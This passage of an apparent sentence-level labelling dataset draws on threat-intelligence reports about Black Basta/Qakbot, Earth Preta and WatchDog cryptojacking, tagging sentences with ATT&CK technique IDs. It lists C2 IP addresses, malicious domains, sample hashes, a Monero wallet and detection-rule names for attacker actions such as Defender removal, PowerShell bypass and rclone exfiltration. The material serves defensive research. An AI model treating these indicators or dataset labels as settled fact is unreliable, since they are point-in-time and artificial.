181.56.125.32 443 Colombia 0 181.80.133.202 443 Argentina 0 181.81.116.144 443 Argentina 0 182.213.208.5 443 Korea (Republic of) 0 184.82.110.50 995 Thailand 0 184.99.123.118 443 United States of America 0 186.105.182.127 443 Chile 0 186.120.58.88 443 Dominican Republic 0 186.154.92.181 443 Colombia 0 186.167.249.206 443 Venezuela (Bolivarian Republic of) 0 186.50.245.74 995 Uruguay 0 187.205.222.100 443 Mexico 0 188.157.6.170 443 Hungary 0 189.19.189.222 32101 Brazil 0 190.158.58.236 443 Colombia 0 190.44.40.48 995 Chile 0 190.59.247.136 995 Trinidad and Tobago 0 191.254.74.89 32101 Brazil 0 191.84.204.214 995 Argentina 0 191.97.234.238 995 Argentina 0 193.3.19.37 443 Russian Federation 0 194.166.205.204 995 Austria 0 194.49.79.231 443 United States of America 0 196.112.34.71 443 Morocco 0 196.92.172.24 8443 Morocco 0 197.11.128.156 443 Tunisia 0 197.204.243.167 443 Algeria 0 197.49.50.44 443 Egypt 0 197.94.84.128 443 South Africa 0 201.177.163.176 443 Argentina 0 210.195.18.76 2222 Malaysia 0 211.248.176.4 443 Korea (Republic of) 0 212.156.51.194 443 Turkey 0 219.69.103.199 443 Taiwan 0 220.116.250.45 443 Korea (Republic of) 0 ADDITIONAL IP'S OBSERVED IP Domain Country Abuseipdb Score 23.106.123.13 NA Singapore 0 23.106.160.141 danimos[.]com United States of America 0 23.19.58.43 zedorocop[.]com United Kingdom 0 23.29.115.172 NA United States of America 0 45.132.226.209 NA Switzerland 3 45.134.22.54 NA Italy 0 45.153.241.64 NA Germany 0 45.61.138.29 NA United Kingdom 0 45.86.200.21 NA Netherlands 0 45.86.200.77 NA Netherlands 0 45.89.242.2 NA United Kingdom 1 47.87.229.39 temp[.]sh United States of America 0 64.52.80.212 NA United States of America 0 78.141.213.249 NA Netherlands 0 104.194.10.130 NA United States of America 0 104.243.38.65 NA United States of America 0 138.199.59.52 NA Poland 0 146.70.106.61 NA Netherlands 0 146.70.86.44 gerhiles[.]com Netherlands 0 151.236.28.34 NA Netherlands 0 172.93.100.71 NA United States of America 0 176.10.80.37 NA United Kingdom 0 176.90.193.145 NA Turkey 0 185.163.110.124 NA Romania 0 185.77.218.10 NA Finland 0 194.37.97.161 NA United States of America 0 194.5.53.215 NA France 0 194.5.53.86 NA France 0 207.229.167.36 NA United States of America 100 212.30.37.227 NA Netherlands 0 INDEX B: MALWARE ANALYSIS LAB AND TOOL OVERVIEW", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The analysis host ran the Linux distro \"REMnux.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Upon startup, an iptables setup script was ran containing all the hardcoded C2 IP’s for the Qakbot malware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Additional software used during the analysis includes:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Wireshark:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Network packet capture and analysis Inetsim: An \"Internet Simulation\" tool which creates fake http and other services for malware samples to interact with.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Readpe.py: Used to read Portable Executable files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "HOST 2: EXPERIMENTAL HOST", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The experimental host rans Windows 10 build 19041.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "NXlog is installed on this host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Windows logging is forwarded to Host 3.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Host 1 is configured to be the internet gateway.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "X32dbg:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Interactive debugging program.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Regshot: Captures a \"snapshot\" of the registry before and after detonation of a sample to observe the changes on the host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Network packet capture and analysis.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Qakbot Registry Decryption Tool: Used to decrypt Qakbot registry entries.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "HOST 3: LOGGING HOST The logging host runs Debian 11.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[CISCO-SECUREENDPOINT] Event Engine Detection 5008356", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Get-ADGroupMember Command 5008362", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Get-ADUser Command 5008363", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Service being stopped 5008364", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Powershell Policy Bypass Command 5008365", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Uninstall Windows Defender Command 5008368", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Remoe-exec psexec command 5008369 [WINDOWS-CLIPBOARD]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Powershell encodedcommand 5008370 [WINDOWS-CLIPBOARD] rundll32 command 5008371", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] rundll32 command with DllRegisterServer 5008372", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] net commands 5008373 [WINDOWS-CLIPBOARD] net commands 5008374 [WINDOWS-CLIPBOARD] query user command 5008375", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] copy from share drive to local C: command 5008380", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Service being stopped by net command v2 5008344", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Disable Windows Security 5008347", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Exfil software rclone detected 5008354 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (powershell) 5008357 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (DllRegisterServer) 5008358 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (rundll32 .xls) 5008359 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (rundll32 public directory) 5008360 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Blackbasta ransomware file extension detected (.basta)", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Rundll32 network connection detected 5008346", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Possible Traversal - File created in Public directory 5008349", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Possible hidden service installed 5008350", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Process Injection - Rundll32 remote thread into winlogon 5008353 [WINDOWS-SYSMON] Safeboot Registry Entry - Possible Blackbasta 5008399 INDEX D: REFERENCES -Deepinstinct’s review of similar Black Bast activityhttps://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence -Northwaves review of similar Black Basta activity to include the use of Qbot and Ransomware https://northwave-security.com/en/black-basta-blog/ -VirusTotal results for the file has of zfgufgfvezdnbcvjkzctpvfdj.dll, indicating Brute Ratel https://www.virustotal.com/gui/file/62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 -Brute Ratel and the use of PSEexc showing use of SMB for Remote Control:https://bruteratel.com/tabs/badger/commands/psexec/ -Brute Ratel and RPC Services:https://bruteratel.com/tabs/badger/commands/services/ -Recent warning regarding use of RCLONE by threat actors \"Daixin Team\" https://www.cisa.gov/uscert/ncas/alerts/aa22-294a -Qakbot Registry Decryption Tool https://github.com/drole/qakbot-registry-decrypt -Cybercheif recipe to extract and decode Shellcode from Bobal Strike Beacon https://gist.github.com/0xtornado/69d12572520122cb9bddc2d6793d97ab -Decoding of files similar to \"w.bat\" https://superuser.com/questions/1676713/how-to-decode-contents-of-a-batch-file-with-chinese-characters -Quadrant’s Github page for the Sagan Log Analysis Enginehttps://github.com/quadrantsec/sagan-rules For more information regarding this analysis interested parties should contact cclark@quadrantsec.com", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "APT & Targeted Attacks Earth Preta’s Cyberespionage Campaign Hits Over 200", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We present a case study of the cyberespionage efforts by Earth Preta.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Through extensive analysis and as of this writing, we discovered over 200 victims, leading to a wider intelligence analysis of the groups’ goals, different operation groups, and tactics, techniques, and procedures (TTPs).", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Key findings While not exhaustive of the entire study’s findings due to security and confidentiality concerns, we determined the following findings key to the entire research:", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta has a centralized development unit that produces the implants and tools, and disseminates them to other operational groups responsible for penetration and implantation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This is evident in the Earth Preta group as it appears that multiple sub-operational groups use the same toolset with different techniques.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "A management of expertise.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The different operational groups manage their own methods of entry and privilege escalation, demonstrating a high degree of specialization within each group.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Towards the end of 2022, there were changes in how information was collected.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The latest active targets were related to maritime, shipping, border control, and immigration agencies.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "These key findings can help intelligence communities and decision-makers in understanding Earth Preta’s capabilities, objectives, and impact on international security and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Method and findings We found that some operational part of the collective group were focused on stealing intellectual property and sensitive business information, while others targeted government and diplomatic entities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We also found the operations having specific geographical regions for which they tailored their collection requirements.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta’s top 10 targeted industries We used a qualitative approach to identify the collection requirements, methods, and objectives of the operational groups and their respective places in the organization.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We established links between the operational threat groups by grouping overlaps in victimology and identifying core indicators, such as implants or payloads. Figure 2.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Earth Preta’s targeted regions Case studies Overlaps Throughout our investigation, we observed several instances where victims were compromised by two groups simultaneously, indicating possible overlaps in collection requirements between these groups.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "While there are no indications of overlaps in individual devices, there are strong indications of targets intersecting, suggesting these groups are pursuing similar objectives.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Additionally, the overlaps among victims indicate a lack in targeting coordination and/or planning within the overall groups' leadership or management.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "These targeting overlaps have been observed in multiple groups, such as Groups 724, 1358, and 5171.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Since these groups operate across a variety of sectors, it is likely that the overlap in collection requirements is the result of similar objectives rather than coordination between the toolset and collected materials.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "However, we have not been able to identify any evidence of coordination between these groups or a shared toolset.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Several victims in key countries, such as Singapore, Vietnam, Netherlands, Ghana, and Myanmar, have indications of files exfiltrated via a dedicated USB mass storage device.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "For instance, in January 2023, a device from Vietnam loaded the Adobe CEF Helper under the path <C:\\Users\\XXX\\AAM", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "UpdatesXXX\\AAM Updates.exe>", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The same device also carried out another collection in December 2022, where data was copied from folder <C\\:$RECYCLE.BIN\\S-XXXXX$XXXH.pdf>, indicating that the user deleted the collected data.", "labels": ["T1070.004"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Our analysis indicated that toward the end of 2022 and early 2023, all documented intrusions from Group 1358 used USB mass storage devices.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "In addition, there were multiple instances where initial compromise occurred while the assets of the target were roaming abroad through a technique known as the “traveling laptop attack.”", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Small sample of Earth Preta’s traveling laptop attack deployments and victims APT subgroups responsible for attack Victim organization’s industry, country Country where attack was deployed from Group 724 Maritime, Australia Papua New Guinea Group 1358 Construction, France Togo Group 5171 NGOs, Africa N/A This mix of traditional intelligence trade craft and cyber techniques could mean that these groups have access to advanced resources and support from nation states, since such techniques are not typically available to independent hackers.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Moreover, this approach could signify the growing convergence of cyber- and physical security as cyberattacks continue to move beyond digital systems and into the physical world.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Operation groups While this is not a comprehensive list, we summarize and attribute the operational functions to specific groups as contributing units to Earth Preta’s cyberespionage activities and deployments.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "As we continue following this campaign and track its activities, these group names will be updated accordingly once analyses and attribution are confirmed.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 724 Group 724 is possibly related to Earth Preta.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group utilizes sideloading with Adobe CEF Helper to establish a persistent foothold in the user's home directory, employing a naming convention with one of the following patterns: AcroRD32XXX AAM UpdatesXXX AcrobatXXX Eset Malware ProtectionXXX \"XXX\" denotes three random letters.", "labels": ["T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This group is considered one of the most dangerous in the Southeast Asian region and has been known to target a myriad of organizations.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This targeted approach indicates that the group has developed a clear understanding of the vulnerabilities and high-value assets present in these industries.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "With this preference for a physical entry vector, the group can increase the chances of a successful intrusion and maintain its covert operations.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique highlights the level of sophistication and planning that goes into Group 724's attacks.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group has been observed utilizing Avast’s WSC DLL for sideloading, a technique leveraging the Windows Management Instrumentation (WMI) service to execute malicious code.", "labels": ["T1047", "T1574.002"], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Persistence is established at ProgramData\\AvastSvcXXX, where \"XXX\" represents three random letters.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group uses generic USB mass storage devices as an entry point, suggesting that they prioritize ease of access over customization.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The group's victimology is extensive, targeting organizations across various sectors globally.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "However, recent observations suggest that the group has shifted its collection efforts towards maritime-related information since December 2022.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Targets have included shipping information, sea vessel movements, border and immigration control, export-related government agencies, food production, and humanitarian groups.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "While some of the targets are related to maritime research and development, most of the information we found as targeted pertain to operational maritime information, even to the extent of compromising specific vessels or tugboat companies.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Exfiltration methods utilized involve the use of USB sticks that are plugged in, enabling the PlugX tool to copy all collected data into a previously known and expected USB stick.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique allows the group to remain undetected and avoid detection by traditional security measures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 5171 Group 5171 is a threat actor that utilizes advanced techniques to infiltrate and compromise targets across the Middle East and Europe.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Group 5171 differentiates itself from other threat actors with their use of the travelling laptop attack.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This technique involves infecting a laptop with malicious code in transit.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Usually, the device will be travelling as part of a routine work travel and upon return to the origin country, a more elaborate exploitation and lateral movement can be initiated.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Conclusion We deem the findings of this research on Earth Preta’s cyberespionage operations have significant implications for international security and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "There are strong indications of intertwined traditional intelligence tradecraft and cyber collection efforts, indicative of a highly coordinated and sophisticated cyberespionage operation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "We identified several distinct operational groups, each with unique TTPs and objectives, which reveals a highly specialized and organized cyberespionage operation.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "This study also suggests that Earth Preta’s cyberespionage operations have a broad reach and have the capacity to target high value targets.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The shift in collection priorities toward intelligence regarding specific areas also indicates that Earth Preta is targeting critical infrastructure and key institutions that can affect national and international relations, economies, and securities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "The international community must raise awareness on the threats posed by Earth Preta’s cyberespionage operations, promote information sharing, and develop effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "For a list of the IOCs, download the appendix here.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Authors Trend Micro Research, News, and Perspectives", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"}
{"sentence": "Specifically, the domain oracle.zzhreceive[.]top was originally linked to TeamTNT operations due to the usage of the term zzhreceive, which has been witnessed within several TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Given recent developments and the growing analytic visibility within the cloud research community, this domain has now been attributed to the cryptojacking operations associated with the group WatchDog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Executive Summary The copying and incorporation of cryptomining operational codebase or script functions have become a central behavioral indicator of cryptojacking groups and their operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Unit 42 researchers have identified tactics, techniques and procedures (TTPs) used by the TeamTNT cryptojacking group being used by the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "For instance, the new scripts do not: Researchers have also observed that the new WatchDog scripts do not use the exploit-laden GoLang binaries traditionally associated with WatchDog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "While WatchDog is believed to be the author of these new scripts, several of the scripts were found within TeamTNT-owned public malware repositories.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Most notably, TeamTNT was reported to have copied the code used to detect and remove Alibaba Cloud Security from compromised instances from the Kinsing group.", "labels": ["T1518.001"], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Also, cryptojacking groups such as “Rocke” began as a forked GitHub repository from the cryptojacking operation created by “The 8220 Mining Group.”", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "This operation shares up to 30% of its cryptomining code base with tools developed by the group “Pacha.”", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Pacha and Rocke were subsequently involved in a documented crypto war, which has lasted nearly two years.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "While little research has been written on recent Pacha operations, Rocke is still developing new malware.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Palo Alto Networks customers running Prisma Cloud are protected from the threats presented in this report through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "These samples, first witnessed on Dec. 5 and 11, 2020, respectively, show the direct replacement of the known WatchDog C2 infrastructure with new C2 infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "WatchDog infrastructure replacement.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "These two samples contain a hardcoded Monero (XMR) wallet address and an associated mining pool, as shown in Figure 3. Figure 3.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Monero wallet and associated mining pool.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Mining Pools If these changes are indeed new TeamTNT behaviors, which is highly unlikely, it would represent the first time the TeamTNT cryptojacking operations have used a mining pool outside their traditional Monero mining pool, MoneroOcean[.]stream.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "This cryptojacking operation introduces two new mining pools never before known to be used by TeamTNT actors, but have been witnessed within WatchDog operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The new mining pools are both instructed to use the Monero wallet address, 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Nanopool mining operation.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "F2pool mining operation.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Mining Pool Worker Information Of note are the names of the mining pool workers associated with this Monero wallet address within the mining pools.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "According to nanopool[.]org records related to this Monero wallet address, there are a total of 20 unique workers, as shown in Figure 6. Figure 6.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "Nanopool mining operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "The following table, Table 1, lists 19 of the currently known malicious samples which contain the Monero wallet address, the Nanopool mining pool and the name of one of the workers listed within Figure 6. SHA256 Worker 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 3910 34b547b567309618422d7075322ddf5b9e0b3a4fb652f3845d12fd649f23923e 3910 62957aa4421c044927269e9bf3300515cf01225fd4c3c3811f8ebfac7a9f8585 3910 f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910 2bc6c21d35ed63b135b4723444a9ac532e4cb6aaa2bbd63c557136edb4e4756f crondk1 cbf54a9e5771fcb3760e4e282f003a879164e76b9df9fed0fe4e4e8aaaef11ae crondk1 428633aee75f7c69a7c0612e591d5fcecbcf13619d6c05b86c8303a248c7c8d7 dk2 7b6f7c48256a8df2041e8726c3490ccb6987e1a76fee947e148ea68eee036889 dk2 10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09 dream 3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream af611a41c55e9afcfaced8b067a470caa70825fce0a44167f44a8d3880ae6674 dream e1d7014b84618cd7fbf94439c78fe7d67f351cbc5536885fa3d94ea15325d83b dream eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream ae6822d1fd097e8c52cea3731cd49f50600b7da83e9f0ea6dbc689685f907739 dream3 3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream5 ae3e4a1c8a2b661265e6c8c756e3ba472dc7177cae79fe1861ab0c2d1af5167a dream6 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream8 33da23085fb6fd7aad89e0c55b7ccbc2ee50fec4e8e31030e4b2a4ef034ac5f6 pokemon2 Table 1.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
{"sentence": "There were also 13 malicious samples containing the 43Xb Monero wallet address, but these samples are designed to use the f2pool[.]com mining pool instead of the nanopool[.]org Monero mining pool (see Table 2).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"}
